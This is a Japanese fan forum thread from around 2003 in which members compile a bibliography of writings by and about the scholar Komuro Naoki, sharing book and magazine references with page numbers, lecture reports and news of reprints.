「...の崩壊」シリーズとか「...の復活」シリーズなんてのはどうですか(笑)
先程は失礼しました。挨拶をしておりませんでした。
申し訳ありません。
弘労秀彦と申します。どうか、よろしくご指導願います。
未掲載情報に入っているかどうかブラウザの調子が悪いのか確認できない状態で失礼とは思いますが、小室先生について触れている本をもう一冊。(一応、掲示板でワード検索を掛けて出ていなかったので)「アメリカン・ディストピア 21世紀の戦争とジャーナリズム」宮台真司・神保哲生共著 春秋社 2003年9月
この中で小室先生の弟子であった宮台真司氏は、小室先生を戦後の知識人が果たした役割と関連させて話しております。そして、小室先生に学んだはずがすっかり忘却している現在の日本について、いつものように批判的に語ります(無論、そこで終わっていないのですが)。
目次で言うと「思考停止する日本」以下の下りで丸山真男教授に関する見出しのあたりです(確か260ページ以降だと思います)。
どうしてもお金がなく、本は図書館で借りることが多いのですが、そのために正確なページをお知らせできずに申し訳なく思います。また、既に確認済みなら申し訳ありません。
それでは、失礼いたしました。
加藤さん、情報ありがとうございます。これが文庫になるのですね。楽しみです。
http://www.interq.or.jp/sun/atsun/komuro/1991-1995/1992003.html
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実は、持っています。小室先生がサムエルソンの弟子であることを知った貴重な1冊です。「複合不況」という言葉はブームになりましたね。それに大ベストセラーでした。
小室先生の「国民のための・・・・」シリーズは、野口悠紀雄さんの
「超○○法」シリーズのように固定した方が良いのでは・・・。
知名度から言って、商標登録しても面白いのでは?
> 平成16年1月の新刊で、「日本経済破局の論理ーサムエルソンの経済学」(確かこんな題名だと思いましたが)が講談社のプラスアルファ文庫から発売されます。
確か1月20日発売の予定ですが・・・・。加藤さん、情報ありがとうございます。これが文庫になるのですね。楽しみです。
http://www.interq.or.jp/sun/atsun/komuro/1991-1995/1992003.html
弘労秀彦さん、はじめまして。
とりあえず私のリストに追加しました。該当ページが確認できたら更新しておきます。
http://proxy.ymdb.yahoofs.jp/users/1599b793/
平成16年1月の新刊で、「日本経済破局の論理ーサムエルソンの経済学」(確かこんな題名だと思いましたが)が講談社のプラスアルファ文庫から発売されます。
確か1月20日発売の予定ですが・・・・。
カッパノベルズから新書で発売された作品が、文庫化されるのですが、少しは加筆訂正が行われるのか楽しみです。
詳しい方は、もっと詳しい説明のフォローをお願いします。http://homepage1.nifty.com/gujyo-economic-res/homepage/index.htm
橋爪大三郎さんが『永遠の吉本隆明』という新書を洋泉社から出しました。
立ち読みしかしていないのですが、日本の社会学を論じているところに小室先生についての記述があります。
これは目次から確認可能なので、よろしかったらどこかに載せてやって下さい。
では、失礼いたしました。
>実はもう辞められるのなら自分の勤めてる会社にスカウトしようと思っい、連絡先を探していたのですが、それなら必要ないですね。そういうことだったのですか。今回は短答式は合格したのですが、おしくも論文がだめだったようです。ネットなどあらゆるものを絶って生活しているようですので来年はだいじょうぶでしょう。
今まで村上さんが発掘していた文献もけっこうありましたので、私がその分がんばらねば。
小野寺さま、情報どうもありがとうございます。
村上さんは司法試験の勉強を今後も続行されるのですか。了解しました。
実はもう辞められるのなら自分の勤めてる会社にスカウトしようと思っい、連絡先を探していたのですが、それなら必要ないですね。村上さんが今後ご自分のAmbitionを適えられますように。
>村上さんとコンタクトする方法をご存知でしたら、是非ご教授いただけないでしょうか?
一応彼とは何回も飲んだり遊んだり家に行ったりした仲なんですが、僕が連絡とってなかったから引越しの件教えてもらえなかったのかなぁ・・。FITOMAROさん、こんばんは。
村上さんは、インターネットのプロバイダーは解約し、私も知っていたもとの住所からも移転しました。郵便は転送されませんし、携帯電話ももとのものは解約しています。司法試験に合格するまでは、ネットに復帰しません。新しい連絡方法は家族しかわかりません。よって我々が連絡する方法はありません。しかたないですかね。応援するしかありません。文献データの集積は私がやりますが、目録には反映できません。さっきFITOMAROさんにメールしたのですが、エラーになってしまいました。
とりあえず目録未収録のリストです。
http://proxy.ymdb.yahoofs.jp/users/1599b793/
村上さんとコンタクトする方法をご存知でしたら、是非ご教授いただけないでしょうか?
一応彼とは何回も飲んだり遊んだり家に行ったりした仲なんですが、僕が連絡とってなかったから引越しの件教えてもらえなかったのかなぁ・・。
村上さん、さきほど村上さんのインターQのメアドにメールを送りました。
大至急ご連絡下さい!!!
経済学をめぐる巨匠たち
http://product.esbooks.co.jp/product/null/top/detail?accd=R0017440アマゾンでは12/19になってますね。
大阪経済大学の講演会の要旨、資料と看板の写真がでてますね。http://www.geocities.co.jp/Bookend-Shikibu/5100/geodiary.html
以前村上さんがいっていたことの意味がわかりました。
クレスト社から出版された4冊が後にマサダからの出版に変わったのですが、私はクレスト社のものしか持っておらず、たまたまマサダの「田中角栄の遺言」を古本として買ってわかりました。変わったのは、カバーと帯、そして巻末の発行日が書いてある部分にマサダのシールがはってあるところですね。早い話が本そのものはクレスト社のまま。在庫整理ですかな。
これであと3冊を買うのをやめます。(笑)古本で安く買えてよかった。ところでこのマサダのものも、もう絶版なんでしょうかね。
関連
書名 PLUG-プラグ-
発行所 角川書店
平成14年1月25日 初版発行
p204
(引用開始)
参考文献『資本主義のための革新』(小室直樹著/日経BP社)……付録の講演CD(七三分)を傾聴すれば、家産官僚のことがわかる。
(引用終わり)ではでは。
>文献は「論理の方法」です。ありがとうございました。
文献は
「論理の方法」
です。
でも、小室先生の趣旨は「国民のための経済原論」(もっと前からも)
から一貫性があると思います。
>ハイパーリニア論の小室本出ましたね。これはどの文献を指しているのでしょうか?
新文献だったら詳しく教えてください。
久しぶりに投稿します。
又、怪しげな前置きを追加しましたね。
「投稿する前に」
で、自分も2かなと思ったけど、ひねってありましたね。
そういえば、小室系はひねって考えさせるでしたね。
でも、近代史の観点からは1かなと思います。
政府は、デフレ対策が出来ませんね うーーん、困ったもんだ。
政府が破産することはない、という事が分かってないんでしょうね。
日本人は何でも会社で考えるからな〜
でも、自分も常識で攻められると弱いからな。
ハイパーリニア論の小室本出ましたね。
自分は、最近クラウゼウィっツを再読しました。
やはり、永遠の名著は奥が深いです。
細部を見よですね。 うーーん
で、何が言いたいかと言うと
ハイパーリニア論=リニア論
である。お終い
イラクがベトナムになってきたぞ、
「消化能力以上の貧欲は愚かである」
アメリカはリデルハートを読んでいなかった。
とは、驚きです。
失礼します
サイゾー 2003.12 p88-89 インフォバーン各党にふさわしいブレーンを(勝手に)大推薦!
「自民党 小泉純一郎&小室直樹」口説き文句は「小室先生に憲法をつくっていただきたい。」
その下の「民主党 菅直人&宮台真司」にも
「小室センセイとの師弟対決もぜひ見たい」との記載あり。p89には、先生のプロフィールがあります。
現在こんなところです。番号はあくまで仮の番号です。これまで寄せられた文献情報で、まだ目録に入ってないものです。
「論より証拠:谷沢永一の読書術」谷沢永一 潮出版社 19850310本の紹介があります。
p245
1982001 『日本「衆合」主義の魔力―危機はここまで拡がっている―』p247
1982004 『脱ニッポン型思考のすすめ』p268
1984003 『ソビエト帝国の最期―“予定調和説”の恐るべき真実―』
esbookでも「経済学をめぐる巨匠たち」は復活しましたが、1ヶ月遅れですね。
http://product.esbooks.co.jp/product/keyword/keyword?accd=R0017440もうひとつの「国民のための新経済原論」はどうなったのでしょうか。
>私も今回始めて参加させていただきました。おお、そうでしたか。休み時間喫茶室のようなところで奥様と座ってらっしゃいましたね。奥様を直に拝見するのは初めてでした。
私も今回始めて参加させていただきました。
>小室先生は、最後の50分弱、ゼロ金利政策を中心に経済のお話をされました。
小室先生がお話の最初の方で、「資本主義も宗教みたいなものだ」と指摘されたところが印象に残っています。>やはり少し足が弱くなっているようにみえるのが心配です。
確かにそうでしたね。もう今後はあまりインテンシブなお仕事はなされないように思いました。ご自愛していただきたいと思います。
本日、標題の件につきまして野口英世記念会館において日本ディベート研究協会主催により行われました。私が信濃町駅前の道を渡ったときは高橋尚子選手は通った後でした。しかし白バイはいましたし、ヘリも低空飛行をしていました。
小室先生は、最後の50分弱、ゼロ金利政策を中心に経済のお話をされました。
私は、小室先生と同じ最前列に座らせていただき、小室先生がディベートをきかれる様子を拝見することができました。そのディベーターを見るまなざし、時折見せる笑み、熱心なメモとりなどよく拝見できました。
今回は、休み時間にも近くにいくことができましたが、ご迷惑をかけないようにお声はかけませんでした。
やはり少し足が弱くなっているようにみえるのが心配です。
管理人の村上さんは、しばらく(少なくとも1年)ネットから遠ざかるようです。
メールも繋がりませんので、もし文献情報をお持ちなのに、掲示板への投稿はちょっとという方は、私あてにメールしていただければ、データの整理と蓄積、そして文献確認と皆様へのご紹介などやらせていただくことを村上さんとお約束いたしました。
よって新情報の目録への収録はちょっと先になりますが、私が表にまとめていきますので随時お見せします。
>東販では11/28、アマゾンでは12/11日が発売予定日となっています。なるほど、遅れてしまったのでしょうかね。「経」の広告では11/13ですからね。
esbookから消えてしまいましたが、店頭はどんな状況でしょう?
東販では11/28、アマゾンでは12/11日が発売予定日となっています。
esbookから消えてしまいましたが、店頭はどんな状況でしょう?
p34〜p35[アンコールに応えて]小室直樹の経済思想ゼミナール特別編
古典派とケインズに影響を与えた政治モデル〔関連〕
同誌の
1.奥付の編集室よりの下段
2.p22出版案内の「経済学をめぐる巨匠たち」の中の文章同ページより配本日は11/13。
ではでは。
「天皇の原理」は古本屋何十件も探してようやく手に入れましたが、
某古本屋で2冊置いてあるという奇跡を最近目撃しました。
>「天皇恐るべし」と「天皇の原理」、同じ出版社からでていますが、
>内容は同じものでしょうか。初歩的で恐縮ですがご教示いただければ。とりあえず目次だけでもみてください。内容は違うものです。詳しくはゆっくり見直してみないと。
うまくまとめられる方お願いします。「天皇恐るべし」
http://www.interq.or.jp/sun/atsun/komuro/1986-1990/1986003.html
「天皇の原理」
http://www.interq.or.jp/sun/atsun/komuro/1991-1995/1993005.html
「天皇恐るべし」と「天皇の原理」、同じ出版社からでていますが、
内容は同じものでしょうか。初歩的で恐縮ですがご教示いただければ。
>>P120では東大での先生とかかれているので後ろから4行目、先生の発言。正確に引用しますね。
「私は経済学は東大である高名な先生に教わったのですが、...」やはり変ですよね。これでは経済学は東大で専攻したということになり、留学については別としても阪大はなんなの?ということになります。
やはりここは、先生のいい間違いか、速記の間違いかあるいは誤植と考えるのが妥当かと思われます。この「東大」を「阪大」に置き換えて、著者紹介も直せばすべてつじつまが合います。
uukkさん、おはようございます。>文献の情報がお役に立てて、何よりです。
これは大発見です。
>小野寺様のすばやい文献入手に頭が下がるばかりです。私は、有名新古書店booko??〔いちおう伏字で。〕で100円にて手に入れました。
いえいえ、未発見の文献がでてくれば一刻も早く読みたいのが自然です。東京に住んでいれば翌日にも確認できたはず。2週間もたってしまって私としては遅すぎます。(笑)
booko??で100円ですか。よかったですね。私も注意してみてみよっと。>P120では東大での先生とかかれているので、森嶋先生以外の先生ではないかと私は思っていました。
私もここは気になっていたのです。私の知る限り小室先生は東大で経済学関連の指導を受けたのは経済史学の大塚教授だけのはず。この本のp249の著者紹介のところでも東大で数理経済学を修めたとありますが、私はこれらの記述は誤りだと判断しました。だって阪大大学院での経済学専攻についての略歴がすっぽり抜け落ちているのですもの。
この紹介の中には他の文献にもでてくる幻の未刊本「社会行動論」(岩波書店)が堂々とでてますよね。もうひとつのってる「構造機能分析の理論」も似たような論文名はありますが、東大出版会からこういう本はでてないですよね。
この「どう生き方を変えるか」の出版の時期は、「ソビエト帝国の崩壊」とほぼ重なりますが、出版する過程においては、先生はあまり有名ではなく先生についての情報も正確ではなかったかもしれませんね。
特に一般の方は、学歴を考える際、日本では東大と京大が先に意識されて、先生が阪大にいかれていたころは阪大にはそうそうたるメンバーがいて、高田先生の弟子たちを中心に経済学でトップを走っていたということがどうもピンとこないのではないでしょうか。よって私はこの本の記述の誤りだと思います。このエピソードは強烈な個性の持ち主森嶋先生以外にはちょっと考えられませんね。そのほか小室先生との関係とか、他の文献などから総合的にみてもそうですね。
こんばんは。uukkです。
文献の情報がお役に立てて、何よりです。小野寺様のすばやい文献入手に頭が下がるばかりです。私は、有名新古書店booko??〔いちおう伏字で。〕で100円にて手に入れました。
ところで、内容についての書き込みで
>本書p159ではどこも雇ってくれないからと簡単に答えていますが、p121で はこのエピソードが別の文脈ででています。ここでは森嶋先生の名はふせて ありますが、先輩学者の学説の誤りをかたっぱしから攻撃して日本の大学に いられなくなり、その教えを守った自分もルンペンになったといっていま す。のように書かれていましたが、P120では東大での先生とかかれているので、森嶋先生以外の先生ではないかと私は思っていました。
森嶋先生の著作「終わりよければすべてよし」の略歴をみると東大では教えられていないことになると私は考えたからです。
もし、私の思い違いでしたらすいません。
それでは失礼致します。
次の関連文献によると、このディスカッションが先生と日下公人さんの出会いだったと思われます。1992104 文春図書館・私の読書日記―小室直樹の偉大さを直視する本―(日下公人著) 週刊文春 文藝春秋 9/3号 148-149 のち、1994109『本からの発想』(日下公人著)に所収
この1992104の中で日下さんは、「小室直樹の学問と思想」を紹介しているわけですが、最初に小室先生に関心したのは「危機の構造」(1976)で、その後あるパネル・ディスカッションで同席したといっています。それがこの日本創造学会の設立総会シンポジウム(1979年10月20・21日)だったんですね。ひとつ事実が明らかになりました。
そこで「なぜ、大学教授でないのか。なぜ独身なのか」と質問したと書いてあって、これは本書(「どう生き方を変えるか」)p159にもでています。
その答えは1992104では、森嶋先生の真似をして主張と人格は別ということを実践したら日本の大学では招んでくれなくなったということが書かれています。
本書p159ではどこも雇ってくれないからと簡単に答えていますが、p121ではこのエピソードが別の文脈ででています。ここでは森嶋先生の名はふせてありますが、先輩学者の学説の誤りをかたっぱしから攻撃して日本の大学にいられなくなり、その教えを守った自分もルンペンになったといっています。
小室先生の学問遍歴についてわれわれの認識とちょっと違っているご発言があります。
それはp156-のところで、社会科学を統一しなければ今日の社会問題を解明することはできないと思いはじめたのは、高校のころか大学の教養課程のころと述べています。
そのためにすべての科学の基礎である数学を学ぼうとまず理学部を選んだというのです。文科系は講演会の連続のようなもので本を読んでいたほうがましと。
次に社会科学を統一するため分野を一覧したというのです。そしておなじみの学問論にはいります。経済学と心理学、そして人類学という方法論的に進んでいるものを研究すると同時に、現実の社会の実態を分析するため大きなビジョンをもった社会科学者の研究も必要ということで、ウェーバー、デュルケーム、フロイト、パレー(パレート?)などを研究しているといっています。
それからきのうちょっと書いた「学問とエクスタシー」についてです。どこかの文献で学問に集中するとエクスタシーを感じるといっていましたが、おそらく冗談半分にうけとった人もいたでしょう。この本では、p112から2ページにわたって「探究心とエクスタシー」というテーマで詳しく述べています。そのほかにも小室ゼミの目的とか日本の学者のこととか機能集団と共同体とかいろいろあっておもしろいです。
この時期のこんなに小室先生が大々的に参加されている書物が今になって発見されるのがむしろ不思議です。これは大発見です。「激論・ニッポンの教育」なども貴重で入手が難しいと思いますが、今回の本は小室文献としてみると内容的にもさらにすばらしいものだと思います。
>題名:「どう生き方を変えるか」
>サブタイトル:創造的人生と社会をひらくために
>日本創造学会編
>1980年9月5日第一刷発行 講談社東京都中央区立京橋図書館で確認しました。閉架書庫にあります。足立区立中央にもあるはずなのにありませんでした。そのほかネット検索では国会、都立多摩にあるようです。
小室先生の発言の部分だけでしたら、余裕で全体の1/2以下ですからコピーできます。非常におもしろくかつ貴重な文献です。学問とエクスタシー、超能力と科学など多岐にわたる発言をされていて、79年のご発言としては興味深いですね。
皆様こんばんは、児島です。この時期にこういう投稿はどうかと思いましたが、流れてしまっては、と思いましたので書き込みします。
(以下引用)
[’03衆院選やまぐち]立候補者はこんな人−−1区・2区 /山口
(届け出順、敬称略)
◆1区
◇持論は「メリハリある行革」−−高村正彦(61)=自前
先の党総裁選で小派閥ながら出馬。必要な20人の推薦人確保すら苦心したが、フタを開ければ予想以上の健闘をみせた。「私の皮算用より多かった。しがらみを超えて政策が評価されたと思う」と手応えをつかんだ。
小泉首相が唱える構造改革を評価するが、地方経済や中小企業の立て直しも強調。地元への口出しはなるべく避けるとしながら「市町村から頼まれた予算はほぼ100%付けているはず」と胸を張る。
前回当選後の00年12月の第2次森改造内閣で法相に就任。わずか5カ月間だったが、入国警備官の増員などに尽力した点を7期目の実績に挙げる。「メリハリのある行革」が持論だ。多忙で、3段を持つ少林寺拳法からは遠ざかっている。読書時間も取れないが、政治学者の小室直樹氏の著書を読んでいる。
(以下略)全文をお読みになりたい方はリンク先をご覧ください。
http://headlines.yahoo.co.jp/hl?a=20031030-00000001-mai-l35
セミナーの結果が記事になった文献です。・日本の閉塞は官僚が招いた! 財界ふくしま
2003.4月号 66-67
・「受験制度の問題点指摘」 会津日報 2003.2.22 1面
・会津かわら版 福島民報 2003.2.20 12面
冒頭引用します。
「「ビートルズが来日した時のような感動でした」と語るのはNTT東日本会津若松支店長.....。」・危機管理セミナー 講師に会津出身・小室直樹氏 Voice 2003.2.22 2面
・小室直樹氏が教育論語る 福島民報 2003.2.19 14面
>ヒトコマ宗教戯画 神さま仏さま笑って救って 森田拳次作品集
>推薦文あるみたいですね
>http://page2.auctions.yahoo.co.jp/jp/auction/b44099293確認しました。
「神さま仏さま笑って救って : ヒトコマ宗教戯画 森田拳次作品集」
森田拳次 青年書館 1987.6.15
p3 ページの1/3くらいに顔写真と文章あり。
カバー見開きにその要約と顔写真が小さくのっています。推薦文です。
イーエスブックで予約受付はじめましたね
http://product.esbooks.co.jp/product/keyword/keyword?accd=R0017440ヒトコマ宗教戯画 神さま仏さま笑って救って 森田拳次作品集
推薦文あるみたいですね
http://page2.auctions.yahoo.co.jp/jp/auction/b44099293uukkさん
しぶい文献情報ありがとうございます。入手困難でしょうな。図書館を調査中です。文献見つけましたさん
おもしろい情報ありがとうございます。ただこちらのサイトでは紙媒体の文献でないと目録にははいらないようです。
下関在住、極真空手家の白石隆氏が書かれた文章ですが、文献として登録されていますか?
http://kiheitai.soc.or.jp/gobu/20010430.html
初めて書き込みします。いつもみなさまの理解力の良さをうらやましく眺めている小室先生の著書歴2年のものです。
文献目録になさそうな本があったので書かせて頂きます。題名:「どう生き方を変えるか」
サブタイトル:創造的人生と社会をひらくために
日本創造学会編
1980年9月5日第一刷発行 講談社川喜田二郎先生を小室先生と他五名による日本創造学会の設立総会シンポジウム(1979年10月20・21日)の速記録ようです。
小室先生は全般に発言をされています。もう登録済みでしたら、もうしわけありません。
文献目録は本を集めるのに利用させて頂いています。感謝です。
それでは失礼します。
ある方からさっそくのご報告をいただきました。大変うれしいです。小室先生はかぜをひきながらも次のような内容のお話をされたようです。私がちょっとはしょりました。
・日本の精密機器の技術の重要性・10年後の日本の技術力の衰退・日本経済の流動性の罠・数学と歴史の勉強の重要性・日本では法学部にいっていた賢い人が戦争開始後、理、工学部にいき戦後の高度成長を支えた・憲法13条の重要性
質問への回答・創造できるかぎり北方領土はかえってこないだろう・郵政民営化はもっと議論すべきおまけに2冊の文献情報もいただきました。
ダイヤモンド社から11月発売
「経済学をめぐる巨匠たち」予価1600円(「経」の連載でしょうね)
「国民のための新経済原論」予価1700円まだ、ネット書店などでの検索にはかからないようです。
http://www.osaka-ue.ac.jp/keidai70/20031014.htmきのうのこの講演会は結局いけませんでした。しかもこれの動画配信の予定はなく、また配布資料もないそうです。
どなたか参加された方がおられましたら、掲示板でもメールでも結構ですから、どんな内容だったか教えていただけませんでしょうか。どんなことでもいいです。
>雑誌『Sapio』10/22号の26頁に次の記事がありました。こう立て続けに一般文献がでると楽しくなりますね。p26-27ですね。
ここに書かれていることもすべて今までの文献にはありますが、こういうふうにストレートに要約していただけると理解が深まります。雑誌文献が書籍の理解を助けるよい例だと思います。
雑誌『Sapio』10/22号の26頁に次の記事がありました。[オピニオン]極私的改憲私案(改憲私案:正しくは、改憲試案)「ここが変!だよニッポン国憲法」
「事情変更」の原則を適用すれば日本国憲法は「すでに死んでいる」/小室直樹
http://www.s-book.com/plsql/sbc_mag2k_code?sho=2300410103&sha=1&type=s
http://www.shogakukan.co.jp/magazines/mag/sapio.html
>新聞広告で見つけたのですがVoice11月号に小室先生が「田中角栄以前、以後」というタイトルで寄稿されているようです。p84-87ですね。今まで書かれてきた、角栄なきあと死んでしまった三権を復活させよというお話を短くまとめています。
10/14の大阪経済大学70周年記念事業の小室先生の特別講演は、仕事がはいっていけなくなりました。受講証が貴重な文献になってしまいました。
でも、これまでの記念講演の例からするとあとでムービーでみられるかも。まあ、7時半におわって8時半の新幹線にのって帰ってくると家に着くのは午前1時すぎてしまうので、半分ほっとしています。でもくやしい。
お久しぶりです。
新聞広告で見つけたのですがVoice11月号に小室先生が「田中角栄以前、以後」というタイトルで寄稿されているようです。
岡山では明日の発売になるようで、まだ手に入っていませんが・・・
(最終回)と書いてありますね。2年にわたる連載、すごいですね。楽しかったです。川島先生で終わるとはにくいですね。新刊では「はしがき」か「あとがき」が楽しみです。
川島武宜「私的所有権は資本主義の急所」
+この記事の末尾に以下のお知らせがありました。
(本連戴は二〇〇三年一一月に小社より単行本として刊行の予定です)
とのことです。ではでは。
>ちょっと質問させてください。小室先生は、確かどこかで日本経済が流動性の罠に陥っていると書かれていたと思いますが、御著書のどこだったか思い出せません。もし知っている方がいたら教えてください。これについてはいろいろなところで書かれたり、ご発言されていますが、すぐにみつけられたのは、1998003 『日本人のための経済原論』 東洋経済新報社 のp302-303です。クルーグマン教授がこのケインズの説を使って日本経済を論じているといっています。
ちょっと質問させてください。小室先生は、確かどこかで日本経済が流動性の罠に陥っていると書かれていたと思いますが、御著書のどこだったか思い出せません。もし知っている方がいたら教えてください。
メールから引用します。おめでとうございます。
下記のリクエストが規定投票数(100票)に到達しました。登録No.2490 登録日時 2003/09/27
--------------------------------------------------------------------
ジャンル : 社会
書名 : 日本教の社会学
著者名 : 山本七平・小室直樹
出版社 : 講談社
--------------------------------------------------------------------
http://www.fukkan.com/vote.php3?no=2490これより復刊スタッフの方にて順次出版社や著者に働きかけを行います。ただ、まことに申し訳ございませんが、交渉対象のリクエストが非常に多いため、交渉開始までお時間をお掛けしてしまうことがあるかと思います。必ず順次対応させていただきますので、どうかお待ちくださいますようお願いします。
また交渉調査のスピードアップのため、皆さまからの情報を募集しておりますので是非ともご協力ください。
皆様、こんにちは。児島です。橋爪先生の新刊が出版されました。
橋爪大三郎「人間にとって法とは何か」PHP新書橋爪大三郎HP
http://www2.valdes.titech.ac.jp/~hashizm/本日購入したため、小室先生について記載されているかどうか分かりませんが、念のためにご報告しておきました。
以上です、失礼しました。
>ありがとうございます。
>図書館でバックナンバーを
>あたらせていただきます。というかそのページにでている文章がすべてなんですよ。もちろん原典にあたられるのはよいと思いますが。
ありがとうございます。
図書館でバックナンバーを
あたらせていただきます。
>山本七平氏が亡くなったときに、
>小室直樹氏がよせた追悼文が読みたいのですが、
>それはどこで読めるかこちらで全文を読むことができます。
http://www.interq.or.jp/sun/atsun/komuro/1991-1995/1992004.htmlまた、山本七平読者連絡会で貸し出しているCDでは、そのもととなった小室先生の肉声をきくことができます。弔辞とは思えない力のこもった叫び声のようなあいさつです。
はじめまして。 Nagaiといいます。山本七平氏が亡くなったときに、
小室直樹氏がよせた追悼文が読みたいのですが、
それはどこで読めるか
知っているかたはいらっしゃいますか?
こんにちは
またブックレビューガイドのHPに行って検索したら、一件ヒットしました。日本人のための宗教原論 あなたを宗教はどう助けてくれるのか
著者(編者) 小室直樹:著 出版社 徳間書店 出版年月 200006掲載媒体 掲載号 評者 掲載ページ
中央公論 2003年10月号 長薗安浩 306ページ中央公論なら、たいていの書店で発売中だと思うので、
立ち読みできそうです。では、お知らせまで
>大塚久雄(2)学問への行動的禁欲が資本主義の本質を解明したやっと確認できました。意味がわかりましたよ。大塚博士もプロテスタントであられたのですね。
それにしても毎日図書館にかよったのですが、9月号がなくてきょうは念のためカウンターできいてみたら奥からだしてくれました。受付印をみたらなんと9/5付け。とっくにきていたのだ!きれそうになりました。どうせこの連休中に東京へいってもらってきますが、1秒でも早く読みたいのだ!
それにしてもまだ連載続きそうですね。すごいですね。もう1冊の本くらいにはなっています。内容が濃いですね。そしてほかの本にはでていないことも結構書いてあるし。
ですね。
今夜は満月と大接近中の火星が近くに並んでいます。写真にとりました。もうこういうことはないそうです。
>大塚久雄(2)学問への行動的禁欲が資本主義の本質を解明したうまい!
大塚久雄(2)学問への行動的禁欲が資本主義の本質を解明した20030907(日)ジュンク堂三宮センター街店にて
ではでは。
>関連文献になりそうなのもありましたのでご覧になってください。通常ランキングは関連文献にいれておりませんので、関連文献に入りそうなのは次のとおりです。
・掲載日2003年06月15日[文化]人気です 「論理の方法」
理の方法」 掲載日2003年06月15日 <共>写有 〈「論理の方法」〉 小室直樹氏は異端の学者と呼ばれる一方で、宮台真司氏や橋爪大三郎氏といつた気鋭の学者たちからこれは先日ご報告した河北新聞などの地方新聞のものと同じ文章です。
・掲載日2001年11月04日 <共>写有 〈「数学嫌いな人のための数学」〉 小室直樹著 かつてはエコノミツクアニマルと呼ばれた日本人。計算は得意なはずだが、数学と聞
・掲載日2000年07月23日[文化]ベストセラーとその周辺
ベストセラーとその周辺 掲載日2000年07月23日 <共><自>写有 〈小室直樹著「日本人のための宗教原論」〉 本を開いた途端、ページ全体に広がるルビに思わずギ・掲載日1997年06月13日[経済]積文館書店グループ6店、中国フェア
較文化論「中国人のものさし日本人のものさし」や中国の政治、社会を解読する小室直樹著「中国原論」などが並び、中国関連の本まで含め約百点。 香港返還のカウントダウンで掲載日1997年04月28日[ひろば]きょうの言葉(とうた)して破産させる。労働者を淘汰して失業者とする 「資本主義原論」 小室直樹 ---------------------------------------- これからの世の中は、優勝劣敗的な傾向がそれにしても佐賀新聞とはね。芸人のはなわを思い出します。しかし彼は佐賀県出身には高田保馬先生がいることを忘れてますね。(笑)
>’94年から全国ニュースを含む記事の全文検索が無料で出来る。そうです。
こういう時代になると関連文献目録への登録の振り分け方も考え直さないときりがなくなりますね。まあ、一般文献発見の可能性が高まればいいですけどね。
http://www.saga-s.co.jp/
キーワード「小室直樹」で検索すると20件程ヒットしました。
半分強はベストセラーのランキングですが残りは書評でした。
関連文献になりそうなのもありましたのでご覧になってください。’94年から全国ニュースを含む記事の全文検索が無料で出来る。そうです。
ではでは。
大阪大学大学院人間科学研究科紀要 第27巻 2001.3
構造−機能理論の危機そして没落からの克服
直井優
http://www.hus.osaka-u.ac.jp/common/bulletin/027/!27-9_NA.PDFp200参考文献に先生の論文がいくつかでています。もとは紙媒体と思われますね。
すでに関連文献に入っているかもしれませんが、佐藤俊樹『近代・組織・資本主義』(1993)ミネ
ルヴァ書房、P78。本文への注の扱いで取り上げられています。
(本文該当個所)『それに対して、日本の家ではもともと成員の参入/離脱がある程度想定され
ていた。その上で、近世大名の「家」や三井家をはじめとする大きな商「家」などの経営体は、そ
の構成員が各自の(現実/仮想の)家を背後にもつ形で、複合的に構成された。一般の武士や
奉公人は「家」に全人格的には包括されない存在であり、その種の「自由」な労働を組織するた
めに、日本近世の「家」の経営管理は擬似近代的といえるほど、合理的な形態を発達させた。と
同時にまさにそれゆえに、その「家」は経営者個人(とその家)からは最終的に分離されなかっ
た。(18)それが、日本において近代的諸制度が西欧から比較的スムースに輸入された理由で
あり、また輸入によってしか始まりえなかった理由でもある。』
(注)『(18)…日本近世と西欧近代の資本主義の決定的な差異として、近代的契約の論理の
有無を明確に指摘したのは、小室〔1984〕が最初だと思われる。だが、近代的契約の論理とプ
ロテスタンティズムの倫理との論理的な関係性が、残念ながらそこでは論じられていない。』小室〔1984〕とは『勤勉の哲学』の解説版です。なお、佐藤俊樹氏によると、「プロテスタンティズ
ムの禁欲倫理が資本主義を生んだ」とするウェーバー説は誤りだそうです。そうではなく、「プロ
テスタンティズムの教義解釈による自由意思=自己責任の発見によって、組織の外部に位置
する個人が発明され、それが制度の可変性を保証する社会形式となったからこそ、産業革命期
以降の近代資本主義はあれほどまでに勃興することができた」(大意)のだそうです。
人間渡部恒三 政界再編の鍵を握る男
大下英治/著
ぴいぷる社
2003年07月17日
p12-16,22-23『人間政治家 渡部恒三』と同じ内容もありますが、それはこの本が参考文献としてあげられているので当然です。ということはほかの話題は、ほかにあげている参考文献にでていたということかも。
雨の日に水撒きをしていたというエピソードは1990025にもでています。
>『人間政治家 渡部恒三』豊田 行二 (著) 徳間書店 ;ISBN:4191429981 ; (1984/10)
>すでに関連文献に入ってるだろうと思って、詳しく見ませんでしたが、最初の方の渡部氏の中学高校時代の話に小室先生のことも書かれていました。確認しました。p20−22のところですね。
ほかにp147−152は独立した文章になっています。
随想��
友人小室直樹君のこと
−貧しい時代の豊かな青春−どちらもおもしろいことがかかれていますね。
先日私が「プレジデント経営大学院」の詳細を書き込んだ日、同じものが私の買取価格と同じ価格でヤフーオークションに出品されましたが結局売れませんでした。私も本日売ることをあきらめてブック・オフに(該当巻は除いて)ただでひきとってもらいました。
そしたらいっしよにいった嫁さんが関連文献をみつけました。「人間田中角栄」小林吉弥 光文社文庫 1989.12.20
p54-57に
1982007 そのとき怒鳴り出した田中角栄 諸君 文藝春秋 14(4) 24-40 山本七平と対談
の一部の要約引用があります。(そのまま引用したわけではない)この本は、「田中角栄の知恵を盗め!」「田中角栄の経営術教科書」(主婦の友社)をベースに加筆、補筆したものだということなので、どちらかの本にも該当箇所があるかもしれません。
困田さん、この前はどうも。
懸案の関連文献の確認がひといきついた瞬間に入ってきましたね。その本もページがわかりしだいご報告しますが、先にわかったら教えてください。
『人間政治家 渡部恒三』豊田 行二 (著) 徳間書店 ;ISBN:4191429981 ; (1984/10)
すでに関連文献に入ってるだろうと思って、詳しく見ませんでしたが、最初の方の渡部氏の中学高校時代の話に小室先生のことも書かれていました。
こばやしまさきさんからの情報のあと2冊確認しました。ブックレビュー
注目の一冊
『論理の方法』社会科学における「モデル」の意味と意義を具体的に提示
横浜商科大学教授 楠井敏朗
週刊東洋経済 週刊東洋経済新報社 2003年07月12日号 p68
カラーです。話題の新刊はこれを読め!
論争に勝つために知るべきこと『論理の方法』
習(これは書いた記者の頭文字か愛称か?)
週刊ポスト 小学館 2003年06月27日号 p178
一杯一杯複一杯
残暑お見舞い申しあげます。日本ディベート研究協会会員の冨士邦彦と申
します。11月16日の『経済ディベート論題』を御案内申しあげます。質量と
